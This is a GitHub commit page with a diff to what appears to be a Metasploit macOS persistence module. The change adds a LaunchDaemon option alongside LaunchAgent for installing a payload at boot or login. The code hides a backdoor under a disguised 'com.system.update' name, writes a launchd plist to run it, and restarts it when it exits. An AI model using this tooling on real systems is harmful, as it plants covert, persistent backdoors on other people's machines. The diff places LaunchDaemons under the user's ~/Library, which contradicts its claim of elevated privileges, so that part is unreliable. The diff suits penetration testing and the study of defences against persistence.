Skip to content

Commit

Permalink
Merge pull request #19360 from gardnerapp/osx_daemon_privesc
Browse files Browse the repository at this point in the history
Add LaunchDaemon Persistence to exploits/osx/local/persistence.rb
  • Loading branch information
adfoster-r7 authored Oct 25, 2024
2 parents 6965c2f + d676bed commit 6e1ea92
Showing 1 changed file with 23 additions and 16 deletions.
39 changes: 23 additions & 16 deletions modules/exploits/osx/local/persistence.rb
Original file line number Diff line number Diff line change
Expand Up @@ -18,36 +18,43 @@ def initialize(info = {})
info,
'Name' => 'Mac OS X Persistent Payload Installer',
'Description' => %q{
This module provides a persistent boot payload by creating a plist entry
in current user's ~/Library/LaunchAgents directory. Whenever the user logs in,
the LaunchAgent will be invoked and this dropped payload will run.
This module provides a persistent boot payload by creating a launch item, which can be
a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
In either case the plist entry specifies an executable that will be run before or at login.
},
'License' => MSF_LICENSE,
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 0,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2012-04-01',
'Platform' => [ 'osx', 'python', 'unix' ]
'Platform' => [ 'osx', 'python', 'unix' ],
'References' => [
'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
]
)
)

register_options([
OptString.new('BACKDOOR_PATH',
[true, 'Path to hide the backdoor on the target.',
'~/Library/.<random>/com.system.update']
),
[
true, 'Path to hide the backdoor on the target.',
'~/Library/.<random>/com.system.update'
]),
OptBool.new('KEEPALIVE',
[true, 'Continually restart the payload exe if it crashes/exits.', true]
),
[true, 'Continually restart the payload exe if it crashes/exits.', true]),
OptBool.new('RUN_NOW',
[false, 'Run the installed payload immediately.', false]
)
[false, 'Run the installed payload immediately.', false]),
OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
])
end

Expand Down Expand Up @@ -76,7 +83,7 @@ def exploit
def add_launchctl_item
label = File.basename(backdoor_path)
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
# Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
item = <<-EOI
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
Expand Down Expand Up @@ -116,9 +123,9 @@ def add_launchctl_item
# path to upload the backdoor. any <user> or <random> substrings will be replaced.
# @return [String] path to drop the backdoor payload.
def backdoor_path
@backdoor_path ||= (datastore['BACKDOOR_PATH']
.gsub('<random>'){ Rex::Text.rand_text_alpha(8) }
.gsub(/^~\//, "/Users/#{user}/"))
@backdoor_path ||= datastore['BACKDOOR_PATH']
.gsub('<random>') { Rex::Text.rand_text_alpha(8) }
.gsub(%r{^~/}, "/Users/#{user}/")
end

# raises an error if a Launch Agent already exists at desired same plist_path
Expand Down Expand Up @@ -146,7 +153,7 @@ def list_removal_paths
# path to the LaunchAgent service configuration plist
# @return [String] path to the LaunchAgent service
def plist_path
@plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"
@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
end

# @return [Boolean] user wants to launch the LaunchAgent immediately
Expand Down

0 comments on commit 6e1ea92

Please sign in to comment.